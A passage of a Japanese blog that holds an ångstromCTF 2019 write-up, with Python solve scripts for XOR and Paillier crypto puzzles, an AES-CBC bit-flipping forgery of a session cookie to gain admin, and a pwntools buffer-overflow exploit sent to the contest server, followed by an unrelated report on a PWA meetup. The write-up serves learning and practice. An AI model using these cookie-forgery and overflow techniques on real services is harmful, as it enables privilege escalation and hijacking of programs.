$ python solve.py 
actf{really_securent_algorithm}

[Crypto] Half and Half (50pt)

Mm, coffee. Best served with half and half!

提供されるファイルは以下。half_and_half.py

from secret import flag

def xor(x, y):
    o = ''
    for i in range(len(x)):
        o += chr(ord(x[i])^ord(y[i]))
    return o

assert len(flag) % 2 == 0

half = len(flag)//2
milk = flag[:half]
cream = flag[half:]

assert xor(milk, cream) == '\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"'

偶数文字数の平文(flag)に対して、前半(milk)と後半(cream)にわけ、milkとcreamのxorをとったものが暗号文。
パット見求まらなさそうだけども、flagのフォーマットは actf{******} であること、暗号文の長さからflagは24文字であることが推測できるので、半分求まりそう。

#!/usr/bin/env python3

cipher = b'\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"'
# flag = b'actf{******************}'
milk = b'actf{******}'
cream = b''

# !! cipherが12文字ってことは、flagは24文字じゃん!

for i in range(len(cipher)):
    cream += bytes([milk[i]^cipher[i]])
print(cream)
flag = milk[:11] + bytes([cream[11]]) + cream[:11] + bytes([milk[11]])
print(flag)

実行結果

$ python solve.py 
b'actf{******_taste:\x1a+# +}'

ふーむ。この中で確実な部分は actf{******_taste******}。問題文と不明な部分の文字数からエスパーして、前半にcoffeeを当てはめて再度スクリプトを実行してみると・・・

$ python solve.py 
b'actf{coffee_tastes_good}'

うむ。これっぽい。この方法が合っている気はあまりしないが、とりあえずflagは出た。

[Crypto] Runes (70pt)

The year is 20XX. ångstromCTF only has pwn challenges, and the winner is solely determined by who can establish a socket connection first. In the data remnants of an ancient hard disk, we've recovered a string of letters and digits. The only clue is the etching on the disk's surface: Paillier.

提供されるのは runes.txt

n: 99157116611790833573985267443453374677300242114595736901854871276546481648883
g: 99157116611790833573985267443453374677300242114595736901854871276546481648884
c: 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869

問題文の最後の謎の文字列 Paillier を検索してみると、 Paillier暗号、というのが存在するらしい。
Paillier暗号 - Wikipedia

Paillier暗号とは Pascal Paillier が1999年に提案した公開鍵暗号方式で、m1 の暗号文と m2 の暗号文から m1 + m2 の暗号文を計算出来る(加法準同型性)という性質を満たす。 RSA暗号ElGamal暗号など、m1 の暗号文と m2 の暗号文から積 m1m2 の暗号文を計算できる(乗法準同型性)方式は数多いが、加法準同型性を満たす方式はPaillier暗号などごく少数しか知られていない。

まずは n を素因数分解しておきます。今回も msieve ライブラリを使用しました。

$ ./msieve -q -v -e 99157116611790833573985267443453374677300242114595736901854871276546481648883
(中略)
p39 factor: 310013024566643256138761337388255591613
p39 factor: 319848228152346890121384041219876391791
elapsed time 00:02:26

ということで p, q が計算できました。
あとは、以下のページで紹介されていた検証コードを書き換えて、与えられた条件から平文を復号します。

公開鍵暗号 Paillier暗号の勉強 - ぺんぎんさんのおうち

#!/usr/bin/env python3
# this code has the following in reference.
#   https://ykm11.hatenablog.com/entry/2018/10/19/205950

import math

n = 99157116611790833573985267443453374677300242114595736901854871276546481648883
g = 99157116611790833573985267443453374677300242114595736901854871276546481648884
c = 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869
p = 310013024566643256138761337388255591613
q = 319848228152346890121384041219876391791

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g1, y, x = egcd(b % a, a)
        return (g1, x - (b // a) * y, y)

def modinv(a, m):
    g1, x, y = egcd(a, m)
    if g1 != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def L(u):
    return (u-1)//n

def LMD(p, q): # p and q are respectively prime
    g = math.gcd(p-1, q-1)
    return (p-1)*(q-1)//g

def dec(c):
    s = L(pow(c, LMD(p, q), n**2))
    t = L(pow(g, LMD(p, q), n**2))
    return s * modinv(t, n) % n

# main
assert p*q == n
plain = dec(c)
flag = bytes.fromhex(hex(plain)[2:]).decode('ascii')
print('flag: ' + flag)

実行結果

$ python solve.py 
flag: actf{crypto_lives}

[Crypto] Secret Sheep Society (120pt)

The sheep are up to no good. They have a web portal for their secret society, which we have the source for. It seems fairly easy to join the organization, but climbing up its ranks is a different story.

リンク先のサイトはこんな感じ。羊可愛い。

f:id:kusuwada:20190425151706p:plain

適当なusernameでログインするとこんなページが出てきます。

f:id:kusuwada:20190425151753p:plain

DLできるzipファイルを解凍するとこんな感じ。

$ tree -L 2 secret_sheep_society
secret_sheep_society
├── __init__.py
├── app.py
├── manager.py
└── templates
    └── index.html

htmlの方を見てみると、app.pyの [POST] /enter で設定する session

session = {
    'admin': False,
    'handle': handle
}

admin が True だとFlagを表示してくれるみたいです。
でこのsessionですが、上記の通り admin は handle に関わらず(handle = adminにしても)、必ずFalseが設定されるので、ここを無理やり True に書き換えてやる必要があります。

sessionは Manager.unpack(tokne) で得られるそうなので、 manager.py を見てみると、AESのCBCモードが使われています。ちなみに token は cookie に保存されているので取り出し可能です。

AES, CBC, 平文のフラグ反転… なんかこれもやったばかりの気がします…!
まだ write-up 上げていませんが、 picoCTF2018の Secire Logon。このときのコードをベースに書いてみました。

CBCモードの性質上、復号は ciphertext xor iv から始まり、暗号文の先頭ブロックから処理されていきます。そして暗号文・もしくはivをビット反転すると、復号時にその反転は平文に伝播します。
参考:暗号利用モード - Wikipedia

これらの条件から、暗号文にくっついてきている iv を書き換えることで、平文の admin: falseadmin: true に書き換えることができそうです!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import base64

sample_token = 'VWDOK8Y9LVWUhh6MHcQdaybS6/As8YmpxgrearRPWtNCFtYnWzK0VB40txh5J9Cj'
flip_start_index = 10
# sample_json = {"admin": false, "handle": ""}
# attack_json = {"admin": true,  "handle": ""}
before = 'false,'
after  = 'true, '

decoded_token = base64.b64decode(sample_token)
flipped = []
for i in range(len(before)):
    flipped.append(bytes([decoded_token[flip_start_index+i] ^ ord(before[i]) ^ ord(after[i])]))
flipped_arr = []
for i in range(len(decoded_token)):
    if i < flip_start_index or i >= flip_start_index+len(before):
        flipped_arr.append(bytes([decoded_token[i]]))
    else:
        flipped_arr.append(flipped[i-(flip_start_index)])

実行結果

$ python solve.py 
b'flipped_token: VWDOK8Y9LVWUhgyfBNJUZybS6/As8YmpxgrearRPWtNCFtYnWzK0VB40txh5J9Cj'

この書き換え後の token を cookie にセットし直して / のページをリロードするとflagが取れました!٩(๑❛ᴗ❛๑)۶ 

f:id:kusuwada:20190425151812p:plain

[Binary] Aquarium (50pt)

Here's a nice little program that helps you manage your fish tank.

Run it on the shell server at /problems/2019/aquarium/ or connect with nc shell.actf.co 19305.

Hint

What does the gets function do?

提供されるのは実行ファイルとソース。指定のshell server上にはflag.txtが存在するので、flagをgetするにはlocalではなくshell server上か、nc で接続して実行する必要がありそう。

aquarium.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
    system("/bin/cat flag.txt");
}

struct fish_tank {
    char name[50];
    int fish;
    int fish_size;
    int water;
    int width;
    int length;
    int height;
};


struct fish_tank create_aquarium() {
    struct fish_tank tank;

    printf("Enter the number of fish in your fish tank: ");
    scanf("%d", &tank.fish);
    getchar();

    printf("Enter the size of the fish in your fish tank: ");
    scanf("%d", &tank.fish_size);
    getchar();

    printf("Enter the amount of water in your fish tank: ");
    scanf("%d", &tank.water);
    getchar();

    printf("Enter the width of your fish tank: ");
    scanf("%d", &tank.width);
    getchar();

    printf("Enter the length of your fish tank: ");
    scanf("%d", &tank.length);
    getchar();

    printf("Enter the height of your fish tank: ");
    scanf("%d", &tank.height);
    getchar();

    printf("Enter the name of your fish tank: ");
    char name[50];
    gets(name);

    strcpy(name, tank.name);
    return tank;
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    struct fish_tank tank;

    tank = create_aquarium();

    if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
        printf("Your fish tank has overflowed!\n");
        return 1;
    }

    printf("Nice fish tank you have there.\n");

    return 0;
}

ソースを見た所、falg()関数をcallする必要があるが、どこからも呼ばれていない。どこかでflag関数のアドレスに飛ばしてやる必要がありそう。

ひとまず動作を確認してみます。

$ ./aquarium 
Enter the number of fish in your fish tank: 10
Enter the size of the fish in your fish tank: 20
Enter the amount of water in your fish tank: 50000000
Enter the width of your fish tank: 30
Enter the length of your fish tank: 20
Enter the height of your fish tank: 40
Enter the name of your fish tank: fishtank
Your fish tank has overflowed!

入力する箇所が沢山。そして最後の条件チェックで水が溢れてしまいました。

今回BufferOverflowの脆弱性が、最後の水槽の名前の入力でありそうです。buffer size が 50 に対して、strcpyを行っています。

まずは関数のアドレス確認。今回もradare2使ってます。

[0x0040139f]> afl
0x00401030    1 6            sym.imp.strcpy
0x00401040    1 6            sym.imp.puts
0x00401050    1 6            sym.imp.setresgid
0x00401060    1 6            sym.imp.system
0x00401070    1 6            sym.imp.printf
0x00401080    1 6            sym.imp.getchar
0x00401090    1 6            sym.imp.gets
0x004010a0    1 6            sym.imp.getegid
0x004010b0    1 6            sym.imp.setvbuf
0x004010c0    1 6            sym.imp.__isoc99_scanf
0x00401110    4 33           sym.deregister_tm_clones
0x00401140    4 57   -> 51   sym.register_tm_clones
0x004011b6    1 19           sym.flag
0x004011c9    1 470          sym.create_aquarium
0x0040139f    4 193          main

目的の sym.flag は 0x004011b6 ですね。
文字列入力部分は sym.create_aquarium 関数。name部分の入力bufferを見てみると

|           0x00401313      e858fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00401318      488d8570ffff.  lea rax, qword [local_90h]

ということで local_90h => rbp-0x90 に格納されるようです。
ここに関数の戻りアドレスなどのbufferを足して 0x98 を適当な値で埋め、flag関数のアドレスを送りつけます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'shell.actf.co'
port = 19305
flag_addr = 0x004011b6
buffer = 0x98

def send_attack_name(attack):
    r = remote(host, port)
    print(r.recvuntil(b'Enter the number of fish in your fish tank: '))
    r.sendline(b'1')
    print(r.recvuntil(b'Enter the size of the fish in your fish tank: '))
    r.sendline(b'1')
    print(r.recvuntil(b'Enter the amount of water in your fish tank: '))
    r.sendline(b'1')
    print(r.recvuntil(b'Enter the width of your fish tank: '))
    r.sendline(b'10')
    print(r.recvuntil(b'Enter the length of your fish tank: '))
    r.sendline(b'10')
    print(r.recvuntil(b'Enter the height of your fish tank: '))
    r.sendline(b'10')
    print(r.recvuntil(b'Enter the name of your fish tank: '))
    r.sendline(attack)
    res = r.recvall()
    print(res)
    r.close()
    if b'actf{' in res:
        return True
    return False

attack = b'a'*buffer + p32(flag_addr)
print(attack)
send_attack_name(attack)

実行結果

$ python solve.py 
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb6\x11@\x00'
[+] Opening connection to shell.actf.co on port 19305: Done
b'Enter the number of fish in your fish tank: '
b'Enter the size of the fish in your fish tank: '
b'Enter the amount of water in your fish tank: '
b'Enter the width of your fish tank: '
b'Enter the length of your fish tank: '
b'Enter the height of your fish tank: '
b'Enter the name of your fish tank: '
[+] Recieving all data: Done (77B)
[*] Closed connection to shell.actf.co port 19305
b'actf{overflowed_more_than_just_a_fish_tank}\nSegmentation fault (core dumped)\n'

感想

高校生ってこんな難しいことしてるんだなー!私が高校生の時は絶対1問も解けなかったぞ!というかプログラム触ったこともなかったぞ!PCでやることと言えばゲーム(TRPG)だったぞ!すごい!

個人的には、[Crypto] Secret Sheep Society (120pt) が、picoCTF 2018 でやったばかりの問題の応用だったので、これが解けたのがめっちゃ嬉しかった(๑•̀ㅂ•́)و✧

逆に、[Binary] Chain of Rope (80pt), [Binary] Pie Shop (100pt), [Binary] Purchases (120pt) あたり(全部 Binary だ・・・)あたりは、最近やったのが使えそうと思いつつ応用力が足りずflagにたどり着けなかったのが残念でした。

あとは、初のLisp ([Misc] Lithp (60pt)) だったのですが、わからないなりに頑張って調べてpython化してみたけど結局flagにはたどり着かず。こちらも残念。Lisp実行環境を揃えてやったほうが早かったかも。しかしLisp読み辛…。括弧の数とか数えられんし!アセンブラと同じくらいわからん。

サイトがちょくちょく落ちていたようですが、私の活動時間が皆さんとずれまくっていたおかげ(?)で一度も遭遇しませんでした。これはラッキー。
しかし私も軽いBF回してたし(回せという問題が確かあったはず)、CTFのインフラ運用大変そうな話をちょくちょくTLで見かけるので、大会のインフラ面の運用どうやってるのかは気になる。

何にせよ、私は今回面白く勉強になる問題が多かったです!運営の皆さん、参加者の皆さんお疲れ様でした!
I enjoy this event and challenges! Thank you very much for your administration.

PWA Night vol.3 ~PWAのミライや活用方法をみんなで考えよう~ 参加レポート

4/17(水)に開催された、PWAの勉強会に参加してきました!

pwanight.connpass.com

ハッシュタグ: #pwanight

そもそもPWAとは?

PWAとは、「Progressive Web Apps」の略称で、モバイル向けWebサイトをGooglePlayストアなどで見かけるスマートフォン向けアプリのように使える仕組みです。PWAはそれ自体が何か特殊な一つの技術、というわけではありません。レスポンシブデザイン、HTTPS化など、Googleが定める要素を備えたWebサイトであり、オフラインやプッシュ通知に対応するためのブラウザAPI(Service Workerなど)を利用しているWebサイトをPWAと呼びます。

PWAを実装することでプッシュ通知やホーム画面へのアイコン追加など、アプリの特徴的な機能をWebサイトに持たせる事ができます。これにより、UX向上やユーザーエンゲージメントの改善にもつながるとして注目されています。

上記サイトから引用させていただきました。個人的には、下記 PWA Night vol.1 のときの資料もかなりわかりやすかったです。

t.co

なんで参加したの?

私がPWAに興味を持ったきっかけは、普段はサーバーサイドのサービス開発・運用をしているのですが、そのサービスを宣伝するためのデモ用アプリを作ることになった時、対象プラットフォーム選定に出てきたことです。iOS or Android の Nativeアプリ開発しか選択肢に入れていませんでしたが、もう少し早くPWAに出会っていればPWAという選択肢はかなり魅力的だったかも。逆に技術選定する立場としてPWA知らなかったの痛かったなーとちょっと反省したのでした。

今回は、次に機会があれば最初から選択肢として考えられるように、かつちゃんと知識をつける&アップデートして正しい判断ができるように、という気持ちで参加。

最近参加しているイベントは、すでに片足(か両足)突っ込んでいる内容のものが多かったので、今回は久々に「何もわからん」メンバーとして行ってきました。

幸い、connpassのグループ

PWA Night - connpass

から、過去の資料や参加報告が一部見れるので予習?復習?していくことに。
最初に全員(参加者全員!90人くらい?)の自己紹介が一人10秒くらいであったんですけど、フロントエンド・Web開発の方が多かった印象。私みたいなサーバーサイドエンジニアやBizDev・Web企画の人も。
斜め前の人はMozillaの中の人で「普段はブラウザ開発してます」いうてはった。びっくり。PWAは個人の趣味らしい。

はじめてのPWA開発 ~あなたのWebサイトがPWAになるまで~ by 小椋陽太さん@アシアル

speakerdeck.com

Service Workerの挙動をわかりやすく図で説明していただきました。
Service Workerの更新タイミング = Cacheが壊れてしまうのを防ぐために、全てのタブを閉じてサービスが終了した時に更新が走るよ、など。
PWAのサンプルコードやドキュメントがGoogleのDeveloperブログで紹介されているとのことだったので、前回のLTでちょっとしたアプリを作ってみた紹介があったみたいだし、自分でちょこっとなにか作ってみるの面白そう。
資料の最後にGoogleのDocument/Blogへのリンクが貼ってあります。

Cache APIに触れる by @tiwu_officialさん

speakerdeck.com

Service Workerの話から始まり、実際にCacheを司っているのは Cache APIだよ、という話。
Cache API は Service Worker とは独立しているため、単独で使える。使いこなせるとかなり強力。
Cache APIの紹介と、それぞれのAPIをどういう場面でどう使用するか、みたいな話がメインでした。

RoRをVueJS + Nuxt PWAで置き換えてみた by 天野たけしさん@devMeTokyo

moksahero.github.io

発表者の天野さん、活動の幅が多様すぎて捕捉しきれない…。

「今日起きてからスマホで何やりましたか?」→「FB, Twitter, Googleもろもろ, Amazon」でしょ?
これらのサービスは世界最速・PWA対応済み。ユーザーは常にこれらのオリンピックレベルのサービスに触れている。それ以外は県大会レベルだぞ。少しでもオリンピックに近づくのがWeb開発者の使命!

と非常にパワフルな出だし。

下記の「PWA Status」というサイトで、PWA化に関する様々な数値を見ることができる。PWA化でどれくらいパフォーマンスが上がったか・コンバージョン率・売上が上がったか、など。PWA化によって劇的にパフォーマンス・売上がUpした事例がいくつも載っている。

www.pwastats.com

Ruby on Rails から VueJS + Nuxt PWA に置き換えた話がここから始まり、全体構成の変更や各レイヤーの置き換えなどわかりやすく簡潔に紹介。
また、UXはスマホファースト、というのも納得。70~80%はスマホからのアクセスなので、ブラウザ用に作ってスマホに展開ではなく、スマホに特化したUIで作る、というもの。

最後のJobsのくだりもエモエモでした。(資料にもあります)

LT-1: 最大公約数的なServiceWorker制作から見るPWAの勘所 by 進藤龍之介さん@NPO法人日本Androidの会

www.slideshare.net

WordPressプラグインの 「PWA4WP」を開発されているそうです。

wordpress.org

という宣伝からの、「PWAはキャッシュが命」
PWAはキャッシュする・しない要素の切り分けが大事。

LT-2: Servic eWorkerのCacheで色々と問題が起きた話 by @biga816 さん

speakerdeck.com

地下アイドルアプリを開発した時の話。地下アイドルアプリってとこで掴みはOK!

  • (アイドルの)写真を全キャッシュするようにしたら、容量の上限に達していた -> CAPを設定する
  • 開発環境ではAoTコンパイルされないので、アプリ自体が巨大に。
  • キャッシュから動画が再生されない(Safariのみ) -> HTTP Rangeリクエストに対して206を返すように

結論:Cacheが無限に増えるコンテンツは、CDNでキャッシュしたほうが良い。オフラインで最低限見たいものだけに。

ということで、またもCacheの話。今回はPWA=Cache戦略が大事!というのがよくわかった。

LT-3: IonicとPWA Toolkitについて by @scrpgil さん

speakerdeck.com

IonicのPWA toolkitはこちら

ionicframework.com

Ionicは、Web Componentsベースの開発フレームワーク。表示が爆速。ReactやVueでも使える。
Ionic自体が、iOSAndroidのUIデザインの切り替えをやってくれるので、かなり楽。確かにコレは楽そう!!

ロゴやグッズ

今回ロゴの名前が発表されました!
pwan(ぷわん)ちゃん!かわいい!ロゴが可愛いとテンション上がりますよね₍₍ (ง ˙ω˙)ว ⁾⁾

あと、なんと技術書展行けなかったけど欲しかったなーと思っていた、PWA Nightの「今日からできる 実践PWA」、もしかしたら会場で売ってないかな〜?と期待していたのですが、ありました!!( ✧Д✧) カッ!!
即購入しましたよ、デュへへへへ…。

f:id:kusuwada:20190418103513j:plain

もうこれでPWAアプリなにか作ってみるしか無いですね。
BOOTHでもともと買う予定でしたけど、やっぱりモノがあるとテンション上がります(2回目)

感想

PWAもつい今年の1月末、TWA(Trusted Web Activity)を使うことでGooglePlayStoreで配信できるようになったりと、注目が高まっているところで参加できてよかったです。
これから先2年ほど無職(無所属ではない…)の予定なので、開発するとしたら個人開発になるんだけど、個人開発ともPWAって相性良さそうだなぁと思ったり。特に今Nativeの経験もスキルもないので…。同じようなモチベーションの方が参加されていることも自己紹介タイムで把握できたので、そういう意味でも自己紹介タイム良かったです!

あとは懇親会!今回、Oisix la daichiさんで開催だったのですが、Oisixさん提供のおいしいおいしいお野菜が食べられるということで後ろ髪引かれまくりだったのですが、流石に8ヶ月妊婦は涙をのんで帰ることにしました…(இдஇ; )

次は 5/15(水) 株式会社ウフルさん@虎ノ門 で開催予定だそうです。既に懇親会なし枠は定員オーバーですが、懇親会前払い枠・ブログ枠は空いているので是非!

pwanight.connpass.com